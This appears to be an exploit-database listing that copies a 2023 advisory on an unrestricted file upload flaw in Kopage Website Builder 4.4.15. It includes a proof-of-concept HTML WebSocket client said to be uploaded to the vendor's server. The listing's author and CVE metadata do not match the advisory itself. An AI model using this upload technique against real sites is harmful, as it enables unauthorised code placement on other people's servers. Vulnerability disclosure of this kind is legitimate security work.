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Kopage-Website-Builder-4.4.15-File-Upload-RCE

CVE Category Price Severity
CVE-2020-25232 CWE-434 $500 High
Author Risk Exploitation Type Date
Norbert Szetei Critical Remote 2023-12-10
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023120024

Below is a copy:

Kopage-Website-Builder-4.4.15-File-Upload-RCE
## Title: Kopage-Website-Builder-4.4.15-File-Upload-RCE
## Author: nu11secur1ty
## Date: 12/08/2023
## Vendor: https://www.kopage.com/
## Software: https://demo.kopage.com/index.php
## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

## Description:
The file upload function suffers from file upload vulnerability, there is no strong sanitizing function for uploading some extension files.
In this case, I uploaded an HTML web socket client on their server and then I connected this client with my javascript server =)
Depending on the scenario, this can be the end of privacy and even worse than ever!
I am a Penetration Tester, not a stupid cracker! Thank you all!

STATUS: CRITICAL Vulnerability

[+]Exploit client:
```POST
<html>
<script>
(() => {
  const ws = new WebSocket('ws://0.0.0.0:8080')
  ws.onopen = () => {
    console.log('ws opened on browser')
    ws.send('hello world you are hacked :D')
  }

  ws.onmessage = (message) => {
    console.log(`message received ${message}`)
  }

})()
 </script>
</html>

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/kopage.com/Kopage-Website-Builder-4.4.15)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/12/kopage-website-builder-4415-file-upload.html)

## Time spent:
00:35:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

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